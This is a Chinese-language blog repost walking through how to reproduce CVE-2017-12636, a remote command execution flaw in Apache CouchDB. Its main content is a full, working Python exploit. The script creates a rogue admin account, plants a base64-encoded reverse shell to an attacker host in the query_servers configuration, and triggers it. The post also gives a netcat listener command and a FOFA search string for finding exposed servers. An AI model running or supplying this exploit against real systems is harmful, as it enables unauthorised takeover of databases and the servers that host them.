-CVE-2017-12636 远程命令执行漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-CVE-2017-12636 远程命令执行漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。攻击者可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。

图片[1]--CVE-2017-12636 远程命令执行漏洞-安全小天地

0x03 漏洞复现

漏洞影响:小于1.7.0、小于2.1.1

FOFA:“CouchDB”

1.攻击机监听4444端口

nc.exe -lvvp 4444
图片[2]--CVE-2017-12636 远程命令执行漏洞-安全小天地

2.利用wooyun写好的反弹shell脚本,并执行,得到一个shell

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = \'http://x.x.x.x:5984\' # 受害者机器
command = rb\"\"\"sh -i >& /dev/tcp/x.x.x.x/4444 0>&1\"\"\" # 攻击者监听端口
version = 1 # CouchDB版本,CouchDB 2.x版本引入集群概念,所以修改配置的API路径需要增加node名称

session = requests.session()
session.headers = {
    \'Content-Type\': \'application/json\'
}
# session.proxies = {
#     \'http\': \'http://127.0.0.1:8085\'
# }
session.put(target + \'/_users/org.couchdb.user:wooyun\', data=\'\'\'{
  \"type\": \"user\",
  \"name\": \"wooyun\",
  \"roles\": [\"_admin\"],
  \"roles\": [],
  \"password\": \"wooyun\"
}\'\'\')

session.auth = HTTPBasicAuth(\'wooyun\', \'wooyun\')

command = \"bash -c \'{echo,%s}|{base64,-d}|{bash,-i}\'\" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + (\'/_config/query_servers/cmd\'), data=json.dumps(command))
else:
    host = session.get(target + \'/_membership\').json()[\'all_nodes\'][0]
    session.put(target + \'/_node/{}/_config/query_servers/cmd\'.format(host), data=json.dumps(command))

session.put(target + \'/wooyun\')
session.put(target + \'/wooyun/test\', data=\'{\"_id\": \"wooyuntest\"}\')

if version == 1:
    session.post(target + \'/wooyun/_temp_view?limit=10\', data=\'{\"language\":\"cmd\",\"map\":\"\"}\')
else:
    session.put(target + \'/wooyun/_design/test\', data=\'{\"_id\":\"_design/test\",\"views\":{\"wooyun\":{\"map\":\"\"} },\"language\":\"cmd\"}\')
图片[3]--CVE-2017-12636 远程命令执行漏洞-安全小天地
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片

    暂无评论内容